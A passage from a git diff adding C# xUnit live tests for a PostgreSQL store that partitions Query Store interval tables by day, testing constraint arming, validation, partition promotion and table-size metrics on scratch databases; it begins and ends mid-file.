+            await ExecAsync(connection, "DROP TRIGGER IF EXISTS trg_query_store_compose_stamp_late_upd ON collect.query_store_interval_wide", ct);
+        }
+
+        await ExecAsync(connection, @"
+ALTER TABLE collect.@T@ DETACH PARTITION collect.@T@_legacy;
+DROP TABLE collect.@T@;
+ALTER TABLE collect.@T@_legacy RENAME TO @T@;
+ALTER INDEX collect.ux_@T@_legacy RENAME TO ux_@T@;
+ALTER INDEX collect.idx_@T@_first_exec_legacy RENAME TO idx_@T@_first_exec;".Replace("@T@", table, StringComparison.Ordinal), ct);
+
+        if (table == Latest)
+        {
+            await ExecAsync(connection, "DROP TRIGGER IF EXISTS trg_plan_regression_daily_late ON collect.query_store_interval_latest", ct);
+            await ExecAsync(connection, LatestTriggerSql, ct);
+        }
+    }
+
+    /* ---- small helpers ------------------------------------------------------------------------------------ */
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        var value = await command.ExecuteScalarAsync(ct);
+        return value is DBNull ? null : value;
+    }
+
+    private static async Task<string> TextAsync(NpgsqlConnection connection, string sql, CancellationToken ct) =>
+        Convert.ToString(await ScalarAsync(connection, sql, ct), CultureInfo.InvariantCulture) ?? "";
+
+    /// <summary><c>SELECT count(*) FROM &lt;from&gt;</c>, where <paramref name="from"/> may carry a WHERE.</summary>
+    private static async Task<long> CountAsync(NpgsqlConnection connection, string from, CancellationToken ct) =>
+        Convert.ToInt64(await ScalarAsync(connection, "SELECT count(*) FROM " + from, ct), CultureInfo.InvariantCulture);
+
+    private static async Task FlushStatsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        /* The statistics collector flushes at transaction end only when asked to; the second statement is the transaction end. */
+        await ExecAsync(connection, "SELECT pg_stat_force_next_flush()", ct);
+        await ExecAsync(connection, "SELECT 1", ct);
+    }
+
+    private static async Task<long> SeqScanAsync(NpgsqlConnection connection, string table, CancellationToken ct) =>
+        Convert.ToInt64(await ScalarAsync(connection, "SELECT seq_scan FROM pg_stat_user_tables WHERE schemaname = 'collect' AND relname = '" + table + "'", ct), CultureInfo.InvariantCulture);
+
+    private static async Task<bool> IndexIsValidAsync(NpgsqlConnection connection, string index, CancellationToken ct) =>
+        (await ScalarAsync(connection, "SELECT indisvalid FROM pg_index WHERE indexrelid = 'collect." + index + "'::regclass", ct)) is true;
+
+    private static async Task<string> ColumnShapeAsync(NpgsqlConnection connection, string table, CancellationToken ct) =>
+        await TextAsync(connection,
+            "SELECT string_agg(a.attname || ':' || format_type(a.atttypid, a.atttypmod) || ':' || CASE WHEN a.attnotnull THEN 'notnull' ELSE 'null' END, ',' ORDER BY a.attnum) "
+            + "FROM pg_attribute a WHERE a.attrelid = '" + table + "'::regclass AND a.attnum > 0 AND NOT a.attisdropped", ct);
+
+    private static async Task<string> CatalogSnapshotAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        await TextAsync(connection, @"
+SELECT string_agg(x, E'\n' ORDER BY x) FROM (
+    SELECT c.relkind::text || ':' || c.relname AS x FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace
+    WHERE n.nspname = 'collect' AND c.relname LIKE '%query_store_interval_%' AND c.relkind IN ('r', 'p', 'i', 'I')
+    UNION ALL SELECT 'def:' || indexdef FROM pg_indexes WHERE schemaname = 'collect' AND tablename LIKE 'query_store_interval_%'
+    UNION ALL SELECT 'trg:' || c.relname || ':' || t.tgname || ':' || (t.tgparentid <> 0)::text FROM pg_trigger t JOIN pg_class c ON c.oid = t.tgrelid WHERE c.relname LIKE 'query_store_interval_%' AND NOT t.tgisinternal
+    UNION ALL SELECT 'ver:' || version FROM darling_schema_version WHERE version >= 170
+) s", ct);
+
+    private static async Task<int> ProbedVersionAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(ViewerDataService.StoreSchemaProbeSql, connection);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        var flags = new object[reader.FieldCount];
+        for (var i = 0; i < flags.Length; i++)
+        {
+            flags[i] = reader.GetBoolean(i);
+        }
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static)!;
+        return (int)method.Invoke(null, flags)!;
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalPartitionedStoreMetricsLiveTests.cs b/Darling/Darling.Tests/QueryStoreIntervalPartitionedStoreMetricsLiveTests.cs
new file mode 100644
index 0000000000..4145a3ef9b
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalPartitionedStoreMetricsLiveTests.cs
@@ -0,0 +1,226 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The store's own size inventory over the day-partitioned Query Store interval tables (#5571). A partitioned parent has
+/// no storage of its own, so its <c>collect.store_metrics</c> row must SUM its partitions, and the partitions must not
+/// show up again as separate tables in the un-enumerated census (the <c>other</c> row and the MCP top-N), or the
+/// reconciliation would count their bytes twice.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and works entirely inside it. */
+public sealed class QueryStoreIntervalPartitionedStoreMetricsLiveTests
+{
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<long> LongAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+    }
+
+    private static string Lit(DateTime value) => value.ToString("yyyy-MM-dd HH:mm:ss.ffffff", CultureInfo.InvariantCulture);
+
+    /* Rows into the legacy table (first_execution_time before S) and into a day partition (an hour after S). */
+    private static Task SeedWideAsync(NpgsqlConnection connection, DateTime first, int rows, CancellationToken ct) => ExecAsync(connection, $@"
+INSERT INTO collect.query_store_interval_wide
+    (collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+     query_text, execution_count, avg_duration_us, runtime_stats_interval_id, interval_start_time_utc)
+SELECT '{Lit(first)}'::timestamp, 1, 'db', g, g, 'Regular', '{Lit(first)}'::timestamp, '{Lit(first)}'::timestamp,
+       'select 1', 1, 1000, 1, '{Lit(first)}'::timestamp
+FROM generate_series(1, {rows}) AS g", ct);
+
+    private static Task SeedLatestAsync(NpgsqlConnection connection, DateTime first, int rows, CancellationToken ct) => ExecAsync(connection, $@"
+INSERT INTO collect.query_store_interval_latest
+    (collection_time, server_id, database_name, query_id, plan_id, first_execution_time, last_execution_time,
+     query_text, execution_count, avg_duration_us, runtime_stats_interval_id)
+SELECT '{Lit(first)}'::timestamp, 1, 'db', g, g, '{Lit(first)}'::timestamp, '{Lit(first)}'::timestamp,
+       'select 1', 1, 1000, 1
+FROM generate_series(1, {rows}) AS g", ct);
+
+    [Fact]
+    public async Task TheParentRows_SumTheirPartitions_AndThePartitionsLeaveTheCensus()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var now = DateTime.UtcNow;
+        var today = DateTime.SpecifyKind(now.Date, DateTimeKind.Unspecified);
+        var s = QueryStoreIntervalPartitions.ArmBound(now);
+
+        /* The legacy table holds 600 rows over three past days. */
+        for (var back = 1; back <= 3; back++)
+        {
+            await SeedWideAsync(connection, today.AddDays(-back).AddHours(12), 200, ct);
+            await SeedLatestAsync(connection, today.AddDays(-back).AddHours(12), 200, ct);
+        }
+
+        foreach (var table in QueryStoreIntervalPartitions.All)
+        {
+            var promote = await QueryStoreIntervalPartitions.RunPromotionAsync(connection, table, now, NullLogger.Instance, ct);
+            Assert.True(promote.Outcome is QueryStoreIntervalPartitions.StepOutcome.Done or QueryStoreIntervalPartitions.StepOutcome.NothingToDo, $"{table.Name}: {promote.Outcome} {promote.Detail}");
+        }
+
+        /* And 300 rows in the first day partition (S + 1 h), so the data lives in more than one partition. */
+        await SeedWideAsync(connection, s.AddHours(1), 300, ct);
+        await SeedLatestAsync(connection, s.AddHours(1), 300, ct);
+        await ExecAsync(connection, "ANALYZE collect.query_store_interval_wide; ANALYZE collect.query_store_interval_latest;", ct);
+
+        var written = await StoreSelfMetrics.SweepAsync(connection, timescaleAvailable: false, now, null, null, null, ct);
+        Assert.True(written > 0);
+
+        foreach (var table in QueryStoreIntervalPartitions.All)
+        {
+            var leaves = $"SELECT t.relid FROM pg_partition_tree('{table.Parent}'::regclass) AS t WHERE t.isleaf";
+            Assert.True(await LongAsync(connection, $"SELECT count(*) FROM ({leaves}) AS x", ct) >= 4, "legacy, the promoted days and DEFAULT are leaves");
+
+            var expectedBytes = await LongAsync(connection, $"SELECT sum(pg_total_relation_size(relid)) FROM ({leaves}) AS x(relid)", ct);
+            var expectedRows = await LongAsync(connection, $"SELECT sum(reltuples)::bigint FROM pg_class WHERE oid IN ({leaves}) AND reltuples >= 0", ct);
+            Assert.Equal(0, await LongAsync(connection, $"SELECT pg_total_relation_size('{table.Parent}'::regclass)", ct)); /* why the sum is needed */
+            Assert.Equal(900, expectedRows);
+
+            await using var command = new NpgsqlCommand(
+                "SELECT total_bytes, row_count FROM collect.store_metrics WHERE object_name = $1 AND object_kind = $2 ORDER BY metric_time DESC LIMIT 1", connection);
+            command.Parameters.AddWithValue(table.Parent);
+            command.Parameters.AddWithValue(StoreSelfMetrics.TableObjectKind);
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            Assert.True(await reader.ReadAsync(ct), $"no {table.Parent} row");
+            Assert.True(expectedBytes > 0);
+            Assert.Equal(expectedBytes, reader.GetInt64(0));
+            Assert.Equal(expectedRows, reader.GetInt64(1));
+        }
+
+        /* The census: no partition of either parent, and a partition of an unrelated partitioned table stays. */
+        await ExecAsync(connection, @"
+CREATE TABLE collect.zz_census_probe (a integer NOT NULL) PARTITION BY RANGE (a);
+CREATE TABLE collect.zz_census_probe_p1 PARTITION OF collect.zz_census_probe FOR VALUES FROM (0) TO (10);", ct);
+
+        var census = new List<string>();
+        await using (var census_ = new NpgsqlCommand($@"
+SELECT n.nspname || '.' || c.relname
+FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace
+WHERE {StoreSelfMetrics.CensusRelationPredicateSql}
+AND   n.nspname = 'collect'", connection))
+        {
+            await using var reader = await census_.ExecuteReaderAsync(ct);
+            while (await reader.ReadAsync(ct))
+            {
+                census.Add(reader.GetString(0));
+            }
+        }
+
+        foreach (var table in QueryStoreIntervalPartitions.All)
+        {
+            Assert.Contains(table.Parent, census);
+            Assert.DoesNotContain(table.Legacy, census);
+            Assert.DoesNotContain(table.Default, census);
+            Assert.DoesNotContain(census, name => name.StartsWith(table.Parent + "_p2", StringComparison.Ordinal));
+        }
+
+        Assert.Contains("collect.zz_census_probe", census);
+        Assert.Contains("collect.zz_census_probe_p1", census);
+        /* The two non-partition neighbours that share the name prefix are still counted. */
+        Assert.Contains("collect.query_store_interval_wide_pending", census);
+        Assert.Contains("collect.query_store_interval_latest_coverage", census);
+
+        /* The catch-all rows never counted the partitions: the "other" row is the census, so it equals the census
+           relations' sizes summed. */
+        var otherBytes = await LongAsync(connection, $"SELECT total_bytes FROM collect.store_metrics WHERE object_kind = '{StoreSelfMetrics.OtherObjectKind}' ORDER BY metric_time DESC LIMIT 1", ct);
+        var legacyBytes = await LongAsync(connection, "SELECT pg_total_relation_size('collect.query_store_interval_wide_legacy'::regclass)", ct);
+        Assert.True(legacyBytes > 0);
+        var otherCensusBytes = await LongAsync(connection, $@"
+SELECT coalesce(sum(pg_total_relation_size(c.oid)), 0)::bigint
+FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace
+WHERE {StoreSelfMetrics.CensusRelationPredicateSql}
+AND   NOT {StoreSelfMetrics.NamedRelationPredicateSql}
+AND   NOT {StoreSelfMetrics.SystemSchemaPredicateSql}", ct);
+        Assert.InRange(otherBytes, otherCensusBytes - 1_000_000, otherCensusBytes + 1_000_000);
+    }
+
+    /// <summary>
+    /// A store below the rung still sizes its two interval tables (#5571, review L4). <c>pg_partition_tree</c> returns NO
+    /// row for a plain table, not the table as its own leaf, so the sweep's COALESCE and <c>NOT EXISTS</c> fallbacks are
+    /// what size it; without them the row would read NULL bytes and rows. The test turns the two migrated parents back
+    /// into plain tables and sweeps.
+    /// </summary>
+    [Fact]
+    public async Task APlainIntervalTable_IsStillSizedByItsOwnBytesAndRows()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var now = DateTime.UtcNow;
+        var today = DateTime.SpecifyKind(now.Date, DateTimeKind.Unspecified);
+        await SeedWideAsync(connection, today.AddDays(-1).AddHours(12), 120, ct);
+        await SeedLatestAsync(connection, today.AddDays(-1).AddHours(12), 120, ct);
+
+        foreach (var table in QueryStoreIntervalPartitions.All)
+        {
+            var plain = $"collect.zz_plain_{table.Name}";
+            await ExecAsync(connection, $@"
+CREATE TABLE {plain} AS SELECT * FROM {table.Parent};
+DROP TABLE {table.Parent} CASCADE;
+ALTER TABLE {plain} RENAME TO {table.Name};
+ANALYZE {table.Parent};", ct);
+            Assert.Equal(0, await LongAsync(connection, $"SELECT count(*) FROM pg_partition_tree('{table.Parent}'::regclass)", ct)); /* why the fallback is live */
+        }
+
+        var written = await StoreSelfMetrics.SweepAsync(connection, timescaleAvailable: false, now, null, null, null, ct);
+        Assert.True(written > 0);
+
+        foreach (var table in QueryStoreIntervalPartitions.All)
+        {
+            var expectedBytes = await LongAsync(connection, $"SELECT pg_total_relation_size('{table.Parent}'::regclass)", ct);
+            var expectedRows = await LongAsync(connection, $"SELECT reltuples::bigint FROM pg_class WHERE oid = '{table.Parent}'::regclass", ct);
+            Assert.True(expectedBytes > 0);
+            Assert.Equal(120, expectedRows);
+
+            await using var command = new NpgsqlCommand(
+                "SELECT total_bytes, row_count FROM collect.store_metrics WHERE object_name = $1 AND object_kind = $2 ORDER BY metric_time DESC LIMIT 1", connection);
+            command.Parameters.AddWithValue(table.Parent);
+            command.Parameters.AddWithValue(StoreSelfMetrics.TableObjectKind);
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            Assert.True(await reader.ReadAsync(ct), $"no {table.Parent} row");
+            Assert.False(reader.IsDBNull(0) || reader.IsDBNull(1), $"{table.Parent} was sized NULL");
+            Assert.Equal(expectedBytes, reader.GetInt64(0));
+            Assert.Equal(expectedRows, reader.GetInt64(1));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalPartitionsLiveTests.cs b/Darling/Darling.Tests/QueryStoreIntervalPartitionsLiveTests.cs
new file mode 100644
index 0000000000..8774dd71b8
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalPartitionsLiveTests.cs
@@ -0,0 +1,776 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The day-partition background steps (#5571) on a real store that has been through the migration rungs: arm, validate,
+/// promote, create-ahead with drain, drop-expired, ANALYZE, and the partitioned index path. Each test runs on its own
+/// scratch database, so no test can race another's DDL.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and works entirely inside it, so it cannot race
+   live collection. */
+public sealed class QueryStoreIntervalPartitionsLiveTests
+{
+    private static readonly QueryStoreIntervalPartitions.IntervalTable Wide = QueryStoreIntervalPartitions.Wide;
+    private static readonly QueryStoreIntervalPartitions.IntervalTable Latest = QueryStoreIntervalPartitions.Latest;
+    private static readonly TimeSpan NoDelay = TimeSpan.FromMilliseconds(50);
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static DateTime Today => DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified);
+
+    private static DateTime Now => DateTime.UtcNow;
+
+    private sealed class ListLogger : ILogger
+    {
+        public List<(LogLevel Level, string Message)> Lines { get; } = new();
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+        {
+            lock (Lines)
+            {
+                Lines.Add((logLevel, formatter(state, exception)));
+            }
+        }
+
+        public bool Has(LogLevel level, string fragment)
+        {
+            lock (Lines)
+            {
+                return Lines.Any(l => l.Level == level && l.Message.Contains(fragment, StringComparison.Ordinal));
+            }
+        }
+    }
+
+    private static async Task<NpgsqlConnection> OpenStoreAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task<NpgsqlConnection> OpenSecondAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        return connection;
+    }
+
+    private static Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct) =>
+        QueryStoreIntervalWideBrinIndexLiveTests.ExecAsync(connection, sql, ct);
+
+    private static Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct) =>
+        QueryStoreIntervalWideBrinIndexLiveTests.ScalarAsync(connection, sql, ct);
+
+    private static async Task<long> CountAsync(NpgsqlConnection connection, string sql, CancellationToken ct) =>
+        Convert.ToInt64(await ScalarAsync(connection, sql, ct), CultureInfo.InvariantCulture);
+
+    private static string Lit(DateTime value) => value.ToString("yyyy-MM-dd HH:mm:ss.ffffff", CultureInfo.InvariantCulture);
+
+    /* The three phases, with no waits between retries. */
+    private static Task<QueryStoreIntervalPartitions.StepResult> PromoteWholeAsync(
+        NpgsqlConnection connection, QueryStoreIntervalPartitions.IntervalTable table, DateTime utcNow, ILogger logger, CancellationToken ct) =>
+        QueryStoreIntervalPartitions.RunPromotionAsync(connection, table, utcNow, logger, NoDelay, NoDelay, ct);
+
+    private static async Task InsertAsync(NpgsqlConnection connection, QueryStoreIntervalPartitions.IntervalTable table, DateTime first, long query, CancellationToken ct)
+    {
+        var sql = table == Wide
+            ? "INSERT INTO collect.query_store_interval_wide (collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time, query_text, execution_count, avg_duration_us, runtime_stats_interval_id, interval_start_time_utc) "
+              + "VALUES ($1, 1, 'db', $2, $2, 'Regular', $1, $1, 'select 1', 1, 1000, 1, $1)"
+            : "INSERT INTO collect.query_store_interval_latest (collection_time, server_id, database_name, query_id, plan_id, first_execution_time, last_execution_time, query_text, execution_count, avg_duration_us, runtime_stats_interval_id) "
+              + "VALUES ($1, 1, 'db', $2, $2, $1, $1, 'select 1', 1, 1000, 1)";
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = first });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = query });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<string> PartitionOfAsync(NpgsqlConnection connection, QueryStoreIntervalPartitions.IntervalTable table, long query, CancellationToken ct) =>
+        (string)(await ScalarAsync(connection, $"SELECT 'collect.' || (SELECT c.relname FROM pg_class AS c WHERE c.oid = t.tableoid) FROM {table.Parent} AS t WHERE query_id = {query}", ct))!;
+
+    private static async Task<IReadOnlyList<QueryStoreIntervalPartitions.PartitionInfo>> PartitionsAsync(
+        NpgsqlConnection connection, QueryStoreIntervalPartitions.IntervalTable table, CancellationToken ct) =>
+        await QueryStoreIntervalPartitions.ReadPartitionsAsync(connection, table, ct);
+
+    // ---------------------------------------------------------------------------------------------------------------
+
+    [Fact]
+    public async Task TheSteps_AreOrderedAndIdempotent_ArmValidatePromote()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        var now = Now;
+
+        /* Before the rung's shape (or on any non-partitioned parent) every step says not ready and writes nothing. */
+        var state = await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct);
+        Assert.True(state.ParentIsPartitioned);
+        Assert.True(state.LegacyExists);
+        Assert.False(state.Promoted);
+        Assert.False(state.CheckPresent);
+        Assert.True(state.LegacyUnbounded);
+
+        /* Promote and create-ahead before the arm: not ready, nothing changes. */
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NotReady, (await QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, now, logger, ct)).Outcome);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NotReady, (await QueryStoreIntervalPartitions.CreateAheadAsync(connection, Wide, now, logger, ct)).Outcome);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NotReady, (await QueryStoreIntervalPartitions.DropExpiredAsync(connection, Wide, now, logger, ct)).Outcome);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NotReady, (await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, now, logger, ct)).Outcome);
+
+        var arm = await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, now, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, arm.Outcome);
+        state = await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct);
+        Assert.True(state.CheckPresent);
+        Assert.False(state.CheckValid);
+        Assert.Equal(Today.AddDays(2), state.CheckBound);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, (await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, now, logger, ct)).Outcome);
+
+        /* A promote before the validate is not ready (an invalid CHECK would make the re-attach scan under lock). */
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NotReady, (await QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, now, logger, ct)).Outcome);
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, now, logger, ct)).Outcome);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, (await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, now, logger, ct)).Outcome);
+        Assert.True((await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct)).CheckValid);
+
+        /* The attach of legacy MINVALUE..S scans nothing: the heap is not read again. */
+        await ExecAsync(connection, "SELECT pg_stat_force_next_flush()", ct);
+        var scansBefore = await CountAsync(connection, $"SELECT COALESCE(pg_stat_get_numscans('{Wide.Legacy}'::regclass), 0)", ct);
+        var promote = await QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, now, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, promote.Outcome);
+        Assert.Equal(2, promote.Count);
+        await ExecAsync(connection, "SELECT pg_stat_force_next_flush()", ct);
+        Assert.True(scansBefore > 0, "the validate's heap read is counted, so the comparison below is not vacuous");
+        Assert.Equal(scansBefore, await CountAsync(connection, $"SELECT COALESCE(pg_stat_get_numscans('{Wide.Legacy}'::regclass), 0)", ct));
+
+        state = await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct);
+        Assert.True(state.Promoted);
+        Assert.True(state.DefaultExists);
+        Assert.False(state.LegacyUnbounded);
+        Assert.Equal(Today.AddDays(2), state.LegacyUpper);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, (await QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, now, logger, ct)).Outcome);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, (await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, now, logger, ct)).Outcome);
+
+        /* Days S and S+1 exist, each with fillfactor 50, and DEFAULT too; legacy keeps its own. */
+        var partitions = await PartitionsAsync(connection, Wide, ct);
+        Assert.Equal(
+            new[] { Wide.Default, Wide.Legacy, Wide.DayPartition(Today.AddDays(2)), Wide.DayPartition(Today.AddDays(3)) }.OrderBy(n => n, StringComparer.Ordinal),
+            partitions.Select(p => p.Name).OrderBy(n => n, StringComparer.Ordinal));
+        foreach (var name in new[] { Wide.Default, Wide.DayPartition(Today.AddDays(2)), Wide.DayPartition(Today.AddDays(3)) })
+        {
+            Assert.Equal("{fillfactor=50}", (await ScalarAsync(connection, $"SELECT reloptions::text FROM pg_class WHERE oid = '{name}'::regclass", ct))!.ToString());
+        }
+
+        /* The parent's indexes are valid and every leaf holds one. */
+        Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM pg_index WHERE indrelid = '{Wide.Parent}'::regclass AND NOT indisvalid", ct));
+
+        /* Re-arm is a no-op once promoted, and a re-run of the whole phase finds nothing to do. */
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, (await PromoteWholeAsync(connection, Wide, now, logger, ct)).Outcome);
+
+        await LiveStoreCleanup.RunAsync(scratch.ConnectionString, true, (_, _) => Task.CompletedTask);
+    }
+
+    [Fact]
+    public async Task AnInvalidCheckThatIsTooNearItsBound_IsReArmed()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        var armedAt = new DateTime(2026, 10, 8, 3, 0, 0, DateTimeKind.Utc);
+        await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, armedAt, logger, ct);
+        var s0 = (await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct)).CheckBound!.Value;
+        Assert.Equal(new DateTime(2026, 10, 10), s0);
+
+        /* 12 h or more left: untouched. */
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo,
+            (await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, s0.AddHours(-12), logger, ct)).Outcome);
+
+        /* Less than 12 h left and still not valid: dropped and added again with a new S. */
+        var result = await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, s0.AddHours(-6), logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, result.Outcome);
+        var s1 = (await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct)).CheckBound!.Value;
+        Assert.Equal(s0.AddDays(1), s1);
+        Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM pg_constraint WHERE conrelid = '{Wide.Legacy}'::regclass AND conname = '{Wide.CheckName}'", ct));
+
+        /* A valid CHECK is never re-armed, however near its bound. */
+        await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, armedAt, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo,
+            (await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, s1.AddHours(-1), logger, ct)).Outcome);
+    }
+
+    [Fact]
+    public async Task AnUpsertDuringValidate_Succeeds()
+    {
+        var baseCs = BaseConnectionString;
